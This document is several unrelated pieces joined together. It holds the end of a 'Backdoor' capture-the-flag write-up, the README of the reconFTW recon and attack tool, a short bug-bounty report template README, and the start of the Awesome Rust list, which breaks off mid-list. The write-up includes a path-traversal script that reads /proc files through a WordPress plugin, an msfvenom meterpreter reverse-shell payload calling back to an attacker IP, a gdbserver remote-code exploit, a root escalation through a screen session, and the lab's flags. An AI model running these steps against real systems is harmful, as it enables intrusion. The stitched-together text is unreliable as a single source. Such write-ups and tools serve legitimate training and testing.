/autogroup-52 S cron 795 3.136712 39 120 0.000000 2.222680 0.000000 0 0 /autogroup-52 S sh 817 0.499356 3 120 0.000000 0.902130 0.000000 0 0 /autogroup-57 S sshd 827 58.707925 77 120 0.000000 19.936730 0.000000 0 0 /autogroup-65 S apache2 846 1030.577005 16879 120 0.000000 1043.088970 0.000000 0 0 /autogroup-71 S agetty 851 -3.769886 12 120 0.000000 3.504020 0.000000 0 0 /autogroup-84 S polkitd 894 4.232294 33 120 0.000000 5.605680 0.000000 0 0 /autogroup-76 S bash 932 19.637674 75 120 0.000000 18.265700 0.000000 0 0 /autogroup-79 S mysqld 974 3494.478481 645 120 0.000000 922.856190 0.000000 0 0 /autogroup-80 S ib_io_ibuf 1005 3573.747011 33480 120 0.000000 370.768490 0.000000 0 0 /autogroup-80 S ib_io_log 1006 3573.711581 33480 120 0.000000 324.472900 0.000000 0 0 /autogroup-80 S ib_io_rd-2 1008 3573.730491 33479 120 0.000000 310.706960 0.000000 0 0 /autogroup-80 S ib_io_wr-1 1011 3573.726951 33492 120 0.000000 386.858540 0.000000 0 0 /autogroup-80 S ib_io_wr-4 1014 3573.735901 33502 120 0.000000 390.341620 0.000000 0 0 /autogroup-80 S ib_pg_flush_co 1015 3578.050631 16783 120 0.000000 759.312680 0.000000 0 0 /autogroup-80 S ib_log_checkpt 1016 3577.150291 16768 120 0.000000 661.960480 0.000000 0 0 /autogroup-80 S ib_buf_resize 1046 990.149855 1 120 0.000000 0.038040 0.000000 0 0 /autogroup-80 S xpl_worker-1 1051 3572.051001 312 120 0.000000 10.181410 0.000000 0 0 /autogroup-80 S ib_buf_dump 1056 1029.049561 9 120 0.000000 0.604820 0.000000 0 0 /autogroup-80 S ib_srv_wkr-3 1061 3495.106541 315 120 0.000000 11.932560 0.000000 0 0 /autogroup-80 S sig_handler 1063 1054.584837 2 120 0.000000 0.111040 0.000000 0 0 /autogroup-80 S xpl_accept-2 1064 3577.624401 16765 120 0.000000 653.366080 0.000000 0 0 /autogroup-80 S connection 1496 1232.121121 459 120 0.000000 89.216300 0.000000 0 0 /autogroup-80 S connection 1497 1234.564501 551 120 0.000000 95.413620 0.000000 0 0 /autogroup-80 S connection 1843 3497.187071 174 120 0.000000 34.220960 0.000000 0 0 /autogroup-80 S bash 980 0.079936 3 120 0.000000 1.242200 0.000000 0 0 /autogroup-82 I kworker/0:1 37261 31138.373955 10112 120 0.000000 921.662780 0.000000 0 0 / I kworker/u256:2 39934 31387.854132 2113 120 0.000000 58.617140 0.000000 0 0 / I kworker/0:0 40376 31143.956751 4132 120 0.000000 389.929050 0.000000 0 0 / S apache2 40411 1000.879811 7 120 0.000000 0.859630 0.000000 0 0 /autogroup-71 I kworker/u256:0 41022 31375.067910 1277 120 0.000000 35.932630 0.000000 0 0 / I kworker/0:2 41766 31388.248762 1467 120 0.000000 128.048880 0.000000 0 0 / S sleep 42196 103386.860688 1 120 0.000000 0.755330 0.000000 0 0 /autogroup-59 >R systemd-udevd 42197 1901.156773 0 120 0.000000 0.000000 0.000000 0 0 /autogroup-15 ... ``` So we have a list of PIDs: ```console 3 4 6 9 10 11 12 13 14 94 96 98 100 102 104 106 108 110 112 114 116 118 120 122 124 146 159 199 202 203 205 209 211 212 213 215 217 219 221 223 225 227 228 229 230 231 233 235 237 239 240 241 243 255 259 261 264 269 272 273 292 327 328 341 430 486 514 516 656 658 659 664 665 765 933 750 751 757 760 762 769 763 794 795 817 827 846 851 894 932 974 1005 1006 1008 1011 1014 1015 1016 1046 1051 1056 1061 1063 1064 1496 1497 1843 980 37261 39934 40376 40411 41022 41766 42196 42197 ``` Let's write a python script to get the ```/proc/{PID}/cmdline``` which this file shows the parameters passed to the process at the time it is started: ```python import urllib.request PREFIX_URL="http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=" RUNNABLE_TASK_FILE="../../../../../../proc/{PID}/cmdline" with open('pids') as p: pids = p.readlines() for pid in pids: pid=pid.rstrip() f = urllib.request.urlopen(f"{PREFIX_URL}{RUNNABLE_TASK_FILE.replace('{PID}',pid)}") print(f"cmdline of {pid}: {str(f.read())}") ``` By running that we get: ```console ... cmdline of 817: b'../../../../../../proc/817/cmdline../../../../../../proc/817/cmdline../../../../../../proc/817/cmdline/bin/sh\x00-c\x00while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done\x00<script>window.close()</script>' ... cmdline of 980: b'../../../../../../proc/980/cmdline../../../../../../proc/980/cmdline../../../../../../proc/980/cmdlinebash\x00-c\x00cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;\x00<script>window.close()</script>' ``` We can see It's running the file ```/home/user/gdbserver``` as ```user``` with arguments ```--once 0.0.0.0:1337```. We can use the following [https://www.exploit-db.com/exploits/50539](https://www.exploit-db.com/exploits/50539) to get RCE: ```console ┌─[evyatar@parrot]─[/hackthebox/Backdoor] └──╼ $ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=4444 PrependFork=true -o rev.bin [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 162 bytes Saved as: rev.bin ``` Create a listener using ```metasploit```: ```console msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 10.10.14.14 LHOST => 10.10.14.14 msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf6 exploit(multi/handler) > exploit -j -Z ``` Run the exploit: ```console ┌─[evyatar@parrot]─[/hackthebox/Backdoor] └──╼ $ python3 exp.py backdoor.htb:1337 rev.bin [+] Connected to target. Preparing exploit [+] Found x64 arch [+] Sending payload [*] Pwned!! Check your listener ``` And we get a reverse shell: ```console meterpreter > shell Process 46858 created. Channel 1 created. pwd /home/user cat user.txt 46bd078c72171dfe348df0c97e1dafaf ``` And we get the user flag ```46bd078c72171dfe348df0c97e1dafaf```. ### Root By running [linpeas](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) we found the following process: ```console ... root 816 0.0 0.0 2608 1840 ? Ss Nov26 0:05 _ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root ;; done ... ``` There is a screen session named root and owned by root. First, Let's create a terminal type using ```export TERM=xterm```, Next access to the root screen: ```console user@Backdoor:/tmp$ export TERM=xterm export TERM=xterm user@Backdoor:/tmp$screen -x root/root root@Backdoor:~# id && hostname && whoami id && hostname && whoami uid=0(root) gid=0(root) groups=0(root) Backdoor root root@Backdoor:~# cat root.txt cat root.txt 49235e91e9794093e0ed1b1c65dbd7c9 root@Backdoor:~# ``` And we get the user flag ```49235e91e9794093e0ed1b1c65dbd7c9```.
<h1 align="center"> <br> <a href="https://github.com/six2dez/reconftw"><img src="https://github.com/six2dez/reconftw/blob/main/images/banner.png" alt="reconftw"></a> <br> reconFTW <br> </h1> <p align="center"> <a href="https://github.com/six2dez/reconftw/releases/tag/v2.3.1"> <img src="https://img.shields.io/badge/release-v2.3.1-green"> </a> </a> <a href="https://www.gnu.org/licenses/gpl-3.0.en.html"> <img src="https://img.shields.io/badge/license-GPL3-_red.svg"> </a> <a href="https://twitter.com/Six2dez1"> <img src="https://img.shields.io/badge/twitter-%40Six2dez1-blue"> </a> <a href="https://github.com/six2dez/reconftw/issues?q=is%3Aissue+is%3Aclosed"> <img src="https://img.shields.io/github/issues-closed-raw/six2dez/reconftw.svg"> </a> <a href="https://github.com/six2dez/reconftw/wiki"> <img src="https://img.shields.io/badge/doc-wiki-blue.svg"> </a> <a href="https://t.me/joinchat/H5bAaw3YbzzmI5co"> <img src="https://img.shields.io/badge/[email protected]"> </a> <a href="https://hub.docker.com/r/six2dez/reconftw"> <img alt="Docker Cloud Build Status" src="https://img.shields.io/docker/cloud/build/six2dez/reconftw"> </a> </p> <h3 align="center">Summary</h3> **ReconFTW** automates the entire process of reconnaisance for you. It outperforms the work of subdomain enumeration along with various vulnerability checks and obtaining maximum information about your target. ReconFTW uses lot of techniques (passive, bruteforce, permutations, certificate transparency, source code scraping, analytics, DNS records...) for subdomain enumeration which helps you getting the maximum and the most interesting subdomains so that you be ahead of the competition. It also performs various vulnerability checks like XSS, Open Redirects, SSRF, CRLF, LFI, SQLi, SSL tests, SSTI, DNS zone transfers, and much more. Along with these, it performs OSINT techniques, directory fuzzing, dorking, ports scanning, screenshots, nuclei scan on your target. So, what are you waiting for Go! Go! Go! :boom: 📔 Table of Contents ----------------- - [💿 Installation:](#-installation) - [a) In your PC/VPS/VM](#a-in-your-pcvpsvm) - [b) Docker Image 🐳 (3 options)](#b-docker-image--3-options) - [c) Terraform + Ansible](#c-terraform--ansible) - [⚙️ Config file:](#️-config-file) - [Usage:](#usage) - [Example Usage:](#example-usage) - [Axiom Support: :cloud:](#axiom-support-cloud) - [BBRF Support: :computer:](#bbrf-support-computer) - [Sample video:](#sample-video) - [:fire: Features :fire:](#fire-features-fire) - [Osint](#osint) - [Subdomains](#subdomains) - [Hosts](#hosts) - [Webs](#webs) - [Extras](#extras) - [Mindmap/Workflow](#mindmapworkflow) - [Data Keep](#data-keep) - [Main commands:](#main-commands) - [How to contribute:](#how-to-contribute) - [Need help? :information_source:](#need-help-information_source) - [Support this project](#support-this-project) - [Buymeacoffee](#buymeacoffee) - [DigitalOcean referral link](#digitalocean-referral-link) - [GitHub sponsorship](#github-sponsorship) - [Sponsors ❤️](#sponsors-️) - [Thanks :pray:](#thanks-pray) - [Disclaimer](#disclaimer) --- # 💿 Installation: ## a) In your PC/VPS/VM > You can check out our wiki for the installation guide [Installation Guide](https://github.com/six2dez/reconftw/wiki/0.-Installation-Guide) :book: - Requires [Golang](https://golang.org/dl/) > **1.15.0+** installed and paths correctly set (**$GOPATH**, **$GOROOT**) ```bash git clone https://github.com/six2dez/reconftw cd reconftw/ ./install.sh ./reconftw.sh -d target.com -r ``` ## b) Docker Image 🐳 (3 options) - Pull the image ```bash $ docker pull six2dez/reconftw:main ``` - Run the container ``` $ docker run -it --rm \ -v "${PWD}/OutputFolder/":'/reconftw/Recon/' \ six2dez/reconftw:main -d example.com -r ``` However, if you wish to: 1. Dynamically modify the behaviour & function of the image 2. Build your own container 3. Build an Axiom Controller on top of the official image Please refer to the [Docker](https://github.com/six2dez/reconftw/wiki/4.-Docker) documentation. ## c) Terraform + Ansible Yes! reconFTW can also be easily deployed with Terraform and Ansible to AWS, if you want to know how to do it, you can check the guide [here](Terraform/README.md) # ⚙️ Config file: > A detailed explaintion of config file can be found here [Configuration file](https://github.com/six2dez/reconftw/wiki/3.-Configuration-file) :book: - Through ```reconftw.cfg``` file the whole execution of the tool can be controlled. - Hunters can set various scanning modes, execution preferences, tools, config files, APIs/TOKENS, personalized wordlists and much more. <details> <br><br> <summary> :point_right: Click here to view default config file :point_left: </summary> ```yaml ################################################################# # reconFTW config file # ################################################################# # General values tools=~/Tools SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" profile_shell=".$(basename $(echo $SHELL))rc" reconftw_version=$(git rev-parse --abbrev-ref HEAD)-$(git describe --tags) generate_resolvers=false proxy_url="http://127.0.0.1:8080/" #dir_output=/custom/output/path # Golang Vars (Comment or change on your own) export GOROOT=/usr/local/go export GOPATH=$HOME/go export PATH=$GOPATH/bin:$GOROOT/bin:$HOME/.local/bin:$PATH # Tools config files #NOTIFY_CONFIG=~/.config/notify/provider-config.yaml # No need to define AMASS_CONFIG=~/.config/amass/config.ini GITHUB_TOKENS=${tools}/.github_tokens #CUSTOM_CONFIG=custom_config_path.txt # In case you use a custom config file, uncomment this line and set your files path # APIs/TOKENS - Uncomment the lines you want removing the '#' at the beginning of the line #SHODAN_API_KEY="XXXXXXXXXXXXX" #WHOISXML_API="XXXXXXXXXX" #XSS_SERVER="XXXXXXXXXXXXXXXXX" #COLLAB_SERVER="XXXXXXXXXXXXXXXXX" #slack_channel="XXXXXXXX" #slack_auth="xoXX-XXX-XXX-XXX" # File descriptors DEBUG_STD="&>/dev/null" DEBUG_ERROR="2>/dev/null" # Osint OSINT=true GOOGLE_DORKS=true GITHUB_DORKS=true METADATA=true EMAILS=true DOMAIN_INFO=true IP_INFO=true METAFINDER_LIMIT=20 # Max 250 # Subdomains SUBDOMAINS_GENERAL=true SUBPASSIVE=true SUBCRT=true SUBANALYTICS=true SUBBRUTE=true SUBSCRAPING=true SUBPERMUTE=true SUBTAKEOVER=true SUBRECURSIVE=true SUB_RECURSIVE_PASSIVE=false # Uses a lot of API keys queries SUB_RECURSIVE_BRUTE=false # Needs big disk space and time to resolve ZONETRANSFER=true S3BUCKETS=true REVERSE_IP=false TLS_PORTS="21,22,25,80,110,135,143,261,271,324,443,448,465,563,614,631,636,664,684,695,832,853,854,990,993,989,990,992,993,994,995,1129,1131,1184,2083,2087,2089,2096,2221,2252,2376,2381,2478,2479,2482,2484,2679,2762,3077,3078,3183,3191,3220,3269,3306,3410,3424,3471,3496,3509,3529,3539,3535,3660,36611,3713,3747,3766,3864,3885,3995,3896,4031,4036,4062,4064,4081,4083,4116,4335,4336,4536,4590,4740,4843,4843,4849,5443,5007,5061,5321,5349,5671,5783,5868,5986,5989,5990,6209,6251,6443,6513,6514,6619,6697,6771,6697,7202,7443,7673,7674,7677,7775,8243,8443,8991,8989,9089,9295,9318,9443,9444,9614,9802,10161,10162,11751,12013,12109,14143,15002,16995,41230,16993,20003" # Web detection WEBPROBESIMPLE=true WEBPROBEFULL=true WEBSCREENSHOT=true VIRTUALHOSTS=true UNCOMMON_PORTS_WEB="81,300,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5601,5800,6543,7000,7001,7396,7474,8000,8001,8008,8014,8042,8060,8069,8080,8081,8083,8088,8090,8091,8095,8118,8123,8172,8181,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9001,9043,9060,9080,9090,9091,9092,9200,9443,9502,9800,9981,10000,10250,11371,12443,15672,16080,17778,18091,18092,20720,32000,55440,55672" # You can change to aquatone if gowitness fails, comment the one you don't want AXIOM_SCREENSHOT_MODULE=webscreenshot # Choose between aquatone,gowitness,webscreenshot # Host FAVICON=true PORTSCANNER=true PORTSCAN_PASSIVE=true PORTSCAN_ACTIVE=true CDN_IP=true # Web analysis WAF_DETECTION=true NUCLEICHECK=true NUCLEI_SEVERITY="info,low,medium,high,critical" URL_CHECK=true URL_GF=true URL_EXT=true JSCHECKS=true FUZZ=true CMS_SCANNER=true WORDLIST=true ROBOTSWORDLIST=true PASSWORD_DICT=true PASSWORD_MIN_LENGTH=5 PASSWORD_MAX_LENGTH=14 # Vulns VULNS_GENERAL=false XSS=true CORS=true TEST_SSL=true OPEN_REDIRECT=true SSRF_CHECKS=true CRLF_CHECKS=true LFI=true SSTI=true SQLI=true BROKENLINKS=true SPRAY=true COMM_INJ=true PROTO_POLLUTION=true # Extra features NOTIFICATION=false # Notification for every function SOFT_NOTIFICATION=false # Only for start/end DEEP=false DEEP_LIMIT=500 DEEP_LIMIT2=1500 DIFF=false REMOVETMP=false REMOVELOG=false PROXY=false SENDZIPNOTIFY=false PRESERVE=true # set to true to avoid deleting the .called_fn files on really large scans FFUF_FLAGS="-mc all -fc 404 -ac -sf -s" # HTTP options HEADER="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" # Threads FFUF_THREADS=40 HTTPX_THREADS=50 HTTPX_UNCOMMONPORTS_THREADS=100 GOSPIDER_THREADS=20 BRUTESPRAY_THREADS=20 BRUTESPRAY_CONCURRENCE=10 GAU_THREADS=10 DNSTAKE_THREADS=100 DALFOX_THREADS=200 PUREDNS_PUBLIC_LIMIT=0 # Set between 2000 - 10000 if your router blows up, 0 is unlimited PUREDNS_TRUSTED_LIMIT=400 PUREDNS_WILDCARDTEST_LIMIT=30 PUREDNS_WILDCARDBATCH_LIMIT=1500000 WEBSCREENSHOT_THREADS=200 GOWITNESS_THREADS=8 RESOLVE_DOMAINS_THREADS=150 PPFUZZ_THREADS=30 DNSVALIDATOR_THREADS=200 INTERLACE_THREADS=10 CERO_THREADS=1000 # Rate limits HTTPX_RATELIMIT=150 NUCLEI_RATELIMIT=150 FFUF_RATELIMIT=0 # Timeouts CMSSCAN_TIMEOUT=3600 FFUF_MAXTIME=900 # Seconds HTTPX_TIMEOUT=10 # Seconds HTTPX_UNCOMMONPORTS_TIMEOUT=10 # Seconds # lists fuzz_wordlist=${tools}/fuzz_wordlist.txt lfi_wordlist=${tools}/lfi_wordlist.txt ssti_wordlist=${tools}/ssti_wordlist.txt subs_wordlist=${tools}/subdomains.txt subs_wordlist_big=${tools}/subdomains_big.txt resolvers=${tools}/resolvers.txt resolvers_trusted=${tools}/resolvers_trusted.txt # Axiom Fleet # Will not start a new fleet if one exist w/ same name and size (or larger) # AXIOM=false Uncomment only to overwrite command line flags AXIOM_FLEET_LAUNCH=false AXIOM_FLEET_NAME="reconFTW" AXIOM_FLEET_COUNT=5 AXIOM_FLEET_REGIONS="eu-central" AXIOM_FLEET_SHUTDOWN=true # This is a script on your reconftw host that might prep things your way... #AXIOM_POST_START="~/Tools/axiom_config.sh" AXIOM_EXTRA_ARGS="" # Leave empty if you don't want to add extra arguments #AXIOM_EXTRA_ARGS="--rm-logs" # Example # BBRF BBRF_CONNECTION=false BBRF_SERVER=https://demo.bbrf.me/bbrf BBRF_USERNAME="user" BBRF_PASSWORD="password" # TERM COLORS bred='\033[1;31m' bblue='\033[1;34m' bgreen='\033[1;32m' byellow='\033[1;33m' red='\033[0;31m' blue='\033[0;34m' green='\033[0;32m' yellow='\033[0;33m' reset='\033[0m' ``` </details> # Usage: > Check out the wiki section to know which flag performs what all steps/attacks [Usage Guide](https://github.com/six2dez/reconftw/wiki/2.-Usage-Guide) :book: **TARGET OPTIONS** | Flag | Description | |------|-------------| | -d | Single Target domain *(example.com)* | | -l | List of targets *(one per line)* | | -m | Multiple domain target *(companyName)* | | -x | Exclude subdomains list *(Out Of Scope)* | | -i | Include subdomains list *(In Scope)* | **MODE OPTIONS** | Flag | Description | |------|-------------| | -r | Recon - Full recon process (without attacks like sqli,ssrf,xss,ssti,lfi etc.) | | -s | Subdomains - Perform only subdomain enumeration, web probing, subdomain takeovers | | -p | Passive - Perform only passive steps | | -a | All - Perform whole recon and all active attacks | | -w | Web - Perform only vulnerability checks/attacks on particular target | | -n | OSINT - Performs an OSINT scan (no subdomain enumeration and attacks) | | -c | Custom - Launches specific function against target | | -h | Help - Show this help menu | **GENERAL OPTIONS** | Flag | Description | |------|-------------| | --deep | Deep scan (Enable some slow options for deeper scan, _vps intended mode_) | | -f | Custom config file path | | -o | Output directory | | -v | Axiom distributed VPS | | -q | Rate limit in requests per second | # Example Usage: **To perform a full recon on single target** ```bash ./reconftw.sh -d target.com -r ``` **To perform a full recon on a list of targets** ```bash ./reconftw.sh -l sites.txt -r -o /output/directory/ ``` **Perform full recon with more time intense tasks** *(VPS intended only)* ```bash ./reconftw.sh -d target.com -r --deep -o /output/directory/ ``` **Perform recon in a multi domain target** ```bash ./reconftw.sh -m company -l domains_list.txt -r ``` **Perform recon with axiom integration** ```bash ./reconftw.sh -d target.com -r -v ``` **Perform all steps (whole recon + all attacks) a.k.a. YOLO mode** ```bash ./reconftw.sh -d target.com -a ``` **Show help section** ```bash ./reconftw.sh -h ``` # Axiom Support: :cloud: ![](https://i.ibb.co/Jzrgkqt/axiom-readme.png) > Check out the wiki section for more info [Axiom Support](https://github.com/six2dez/reconftw/wiki/5.-Axiom-version) * As reconFTW actively hits the target with a lot of web traffic, hence there was a need to move to Axiom distributing the work load among various instances leading to reduction of execution time. * During the configuration of axiom you need to select `reconftw` as provisoner. * You can create your own axiom's fleet before running reconFTW or let reconFTW to create and destroy it automatically just modifying reconftw.cfg file. # BBRF Support: :computer: * To add reconFTW results to your [BBRF instance](https://github.com/honoki/bbrf-server) just add IP and credentials on reconftw.cfg file section dedicated to bbrf. * During the execution of the scans the results will be added dinamically when each step ends. * Even you can set up locally your BBRF instance to be able to visualize your results in a fancy web UI. # Sample video: ![Video](images/reconFTW.gif) # :fire: Features :fire: ## Osint - Domain information ([whois](https://github.com/rfc1036/whois) and [amass](https://github.com/OWASP/Amass)) - Emails addresses and users ([theHarvester](https://github.com/laramies/theHarvester) and [emailfinder](https://github.com/Josue87/EmailFinder)) - Password leaks ([pwndb](https://github.com/davidtavarez/pwndb) and [H8mail](https://github.com/khast3x/h8mail)) - Metadata finder ([MetaFinder](https://github.com/Josue87/MetaFinder)) - Google Dorks ([degoogle_hunter](https://github.com/six2dez/degoogle_hunter)) - Github Dorks ([gitdorks_go](https://github.com/damit5/gitdorks_go)) ## Subdomains - Passive ([amass](https://github.com/OWASP/Amass) and [github-subdomains](https://github.com/gwen001/github-subdomains)) - Certificate transparency ([ctfr](https://github.com/UnaPibaGeek/ctfr)) - Bruteforce ([puredns](https://github.com/d3mondev/puredns)) - Permutations ([Gotator](https://github.com/Josue87/gotator)) - JS files & Source Code Scraping ([gospider](https://github.com/jaeles-project/gospider)) - DNS Records ([dnsx](https://github.com/projectdiscovery/dnsx)) - Google Analytics ID ([AnalyticsRelationships](https://github.com/Josue87/AnalyticsRelationships)) - TLS handshake ([cero](https://github.com/glebarez/cero)) - Recursive search. - Subdomains takeover ([nuclei](https://github.com/projectdiscovery/nuclei)) - DNS takeover ([dnstake](https://github.com/pwnesia/dnstake)) - DNS Zone Transfer ([dig](https://linux.die.net/man/1/dig)) - Cloud checkers ([S3Scanner](https://github.com/sa7mon/S3Scanner) and [cloud_enum](https://github.com/initstring/cloud_enum)) ## Hosts - IP info ([whoisxmlapi API](https://www.whoisxmlapi.com/) - CDN checker ([ipcdn](https://github.com/six2dez/ipcdn)) - WAF checker ([wafw00f](https://github.com/EnableSecurity/wafw00f)) - Port Scanner (Active with [nmap](https://github.com/nmap/nmap) and passive with [smap](https://github.com/s0md3v/Smap)) - Port services vulnerability checks ([searchsploit](https://github.com/offensive-security/exploitdb)) - Password spraying ([brutespray](https://github.com/x90skysn3k/brutespray)) ## Webs - Web Prober ([httpx](https://github.com/projectdiscovery/httpx) and [unimap](https://github.com/Edu4rdSHL/unimap)) - Web screenshot ([webscreenshot](https://github.com/maaaaz/webscreenshot) or [gowitness](https://github.com/sensepost/gowitness)) - Web templates scanner ([nuclei](https://github.com/projectdiscovery/nuclei) and [nuclei geeknik](https://github.com/geeknik/the-nuclei-templates.git)) - Url extraction ([waybackurls](https://github.com/tomnomnom/waybackurls), [gau](https://github.com/lc/gau), [gospider](https://github.com/jaeles-project/gospider), [github-endpoints](https://gist.github.com/six2dez/d1d516b606557526e9a78d7dd49cacd3) and [JSA](https://github.com/w9w/JSA)) - URLPatterns Search ([gf](https://github.com/tomnomnom/gf) and [gf-patterns](https://github.com/1ndianl33t/Gf-Patterns)) - XSS ([dalfox](https://github.com/hahwul/dalfox)) - Open redirect ([Oralyzer](https://github.com/r0075h3ll/Oralyzer)) - SSRF (headers [interactsh](https://github.com/projectdiscovery/interactsh) and param values with [ffuf](https://github.com/ffuf/ffuf)) - CRLF ([crlfuzz](https://github.com/dwisiswant0/crlfuzz)) - Favicon Real IP ([fav-up](https://github.com/pielco11/fav-up)) - Javascript analysis ([subjs](https://github.com/lc/subjs), [JSA](https://github.com/w9w/JSA), [LinkFinder](https://github.com/GerbenJavado/LinkFinder), [getjswords](https://github.com/m4ll0k/BBTz)) - Fuzzing ([ffuf](https://github.com/ffuf/ffuf)) - Cors ([Corsy](https://github.com/s0md3v/Corsy)) - LFI Checks ([ffuf](https://github.com/ffuf/ffuf)) - SQLi Check ([SQLMap](https://github.com/sqlmapproject/sqlmap)) - SSTI ([ffuf](https://github.com/ffuf/ffuf)) - CMS Scanner ([CMSeeK](https://github.com/Tuhinshubhra/CMSeeK)) - SSL tests ([testssl](https://github.com/drwetter/testssl.sh)) - Broken Links Checker ([gospider](https://github.com/jaeles-project/gospider)) - Prototype Pollution ([ppfuzz](https://github.com/dwisiswant0/ppfuzz)) - URL sorting by extension - Wordlist generation - Passwords dictionary creation ([pydictor](https://github.com/LandGrey/pydictor)) ## Extras - Multithread ([Interlace](https://github.com/codingo/Interlace)) - Custom resolvers generated list ([dnsvalidator](https://github.com/vortexau/dnsvalidator)) - Docker container included and [DockerHub](https://hub.docker.com/r/six2dez/reconftw) integration - Ansible + Terraform deployment over AWS - Allows IP/CIDR as target - Resume the scan from last performed step - Custom output folder option - All in one installer/updater script compatible with most distros - Diff support for continuous running (cron mode) - Support for targets with multiple domains - Raspberry Pi/ARM support - 6 modes (recon, passive, subdomains, web, osint and all) - Out of Scope Support - Notification system with Slack, Discord and Telegram ([notify](https://github.com/projectdiscovery/notify)) and sending zipped results support # Mindmap/Workflow ![Mindmap](images/mindmapv2.png) ## Data Keep Follow these simple steps to end up having a private repository with your `API Keys` and `/Recon` data. * Create a private __blank__ repository on `Git(Hub|Lab)` (Take into account size limits regarding Recon data upload) * Clone your project: `git clone https://gitlab.com/example/reconftw-data` * Get inside the cloned repository: `cd reconftw-data` * Create branch with an empty commit: `git commit --allow-empty -m "Empty commit"` * Add official repo as a new remote: `git remote add upstream https://github.com/six2dez/reconftw` (`upstream` is an example) * Update upstream's repo: `git fetch upstream` * Rebase current branch with the official one: `git rebase upstream/main master` ### Main commands: * Upload changes to your personal repo: `git add . && git commit -m "Data upload" && git push origin master` * Update tool anytime: `git fetch upstream && git rebase upstream/main master` ## How to contribute: If you want to contribute to this project you can do it in multiple ways: - Submitting an [issue](https://github.com/six2dez/reconftw/issues/new/choose) because you have found a bug or you have any suggestion or request. - Making a Pull Request from [dev](https://github.com/six2dez/reconftw/tree/dev) branch because you want to improve the code or add something to the script. ## Need help? :information_source: - Take a look at the [wiki](https://github.com/six2dez/reconftw/wiki) section. - Check [FAQ](https://github.com/six2dez/reconftw/wiki/7.-FAQs) for commonly asked questions. - Ask for help in the [Telegram group](https://t.me/joinchat/TO_R8NYFhhbmI5co) ## Support this project ### Buymeacoffee [<img src="https://cdn.buymeacoffee.com/buttons/v2/default-green.png">](https://www.buymeacoffee.com/six2dez) ### DigitalOcean referral link <a href="https://www.digitalocean.com/?refcode=f362a6e193a1&utm_campaign=Referral_Invite&utm_medium=Referral_Program&utm_source=badge"><img src="https://web-platforms.sfo2.cdn.digitaloceanspaces.com/WWW/Badge%201.svg" alt="DigitalOcean Referral Badge" /></a> ### GitHub sponsorship [Sponsor](https://github.com/sponsors/six2dez) # Sponsors ❤️ **This section shows the current financial sponsors of this project** [<img src="https://pbs.twimg.com/profile_images/1360304248534282240/MomOFi40_400x400.jpg" width="100" height=auto>](https://github.com/0xtavian) [<img src="https://pbs.twimg.com/profile_images/1509304017993752578/qqcKUKZb_400x400.jpg" width="100" height=auto>](https://github.com/geeknik) # Thanks :pray: * Thank you for lending a helping hand towards the development of the project! - [Spyse](https://spyse.com/) - [Networksdb](https://networksdb.io/) - [Intelx](https://intelx.io/) - [BinaryEdge](https://www.binaryedge.io/) - [Censys](https://censys.io/) - [CIRCL](https://www.circl.lu/) - [Whoxy](https://www.whoxy.com/) # Disclaimer Usage of this program for attacking targets without consent is illegal. It is the user's responsibility to obey all applicable laws. The developer assumes no liability and is not responsible for any misuse or damage caused by this program. Please use responsibly. The material contained in this repository is licensed under GNU GPLv3.
<h1 align="center">BountyReport <a href="https://twitter.com/intent/tweet?text=BountyReport%20-%20Make%20your%20bug%20bounty%20report%20easy%20and%20fast.%0A%0Ahttps://github.com/khanjanny/BountyReport&hashtags=bugbounty,bugbountytips,infosec"><img src="https://img.shields.io/badge/Tweet--lightgrey?logo=twitter&style=social" alt="Tweet" height="20"/></a></h1> <h3 align="center">Make your bug bounty report easy and fast</h3> ### Demo Template ![Demo Template](templ.png) ### Demo Report ![Demo Report](xss_.png)
# Awesome Rust [![build badge](https://github.com/rust-unofficial/awesome-rust/actions/workflows/rust.yml/badge.svg?branch=main)](https://github.com/rust-unofficial/awesome-rust/actions/workflows/rust.yml) [![Track Awesome List](https://www.trackawesomelist.com/badge.svg)](https://www.trackawesomelist.com/rust-unofficial/awesome-rust/) A curated list of Rust code and resources. If you want to contribute, please read [this](CONTRIBUTING.md). ## Table of contents <!-- toc --> - [Applications](#applications) * [Audio and Music](#audio-and-music) * [Cryptocurrencies](#cryptocurrencies) * [Database](#database) * [Emulators](#emulators) * [Games](#games) * [Graphics](#graphics) * [Image processing](#image-processing) * [Industrial automation](#industrial-automation) * [Observability](#observability) * [Operating systems](#operating-systems) * [Payments](#payments) * [Productivity](#productivity) * [Routing protocols](#routing-protocols) * [Security tools](#security-tools) * [Simulation](#simulation) * [Social networks](#social-networks) * [System tools](#system-tools) * [Task scheduling](#task-scheduling) * [Text editors](#text-editors) * [Text processing](#text-processing) * [Utilities](#utilities) * [Video](#video) * [Virtualization](#virtualization) * [Web](#web) * [Web Servers](#web-servers) - [Development tools](#development-tools) * [Build system](#build-system) * [Debugging](#debugging) * [Deployment](#deployment) * [Embedded](#embedded) * [FFI](#ffi) * [Formatters](#formatters) * [IDEs](#ides) * [Profiling](#profiling) * [Services](#services) * [Static analysis](#static-analysis) * [Testing](#testing) * [Transpiling](#transpiling) - [Libraries](#libraries) * [Artificial Intelligence](#artificial-intelligence) + [Genetic algorithms](#genetic-algorithms) + [Machine learning](#machine-learning) + [OpenAI](#openai) * [Astronomy](#astronomy) * [Asynchronous](#asynchronous) * [Audio and Music](#audio-and-music-1) * [Authentication](#authentication) * [Automotive](#automotive) * 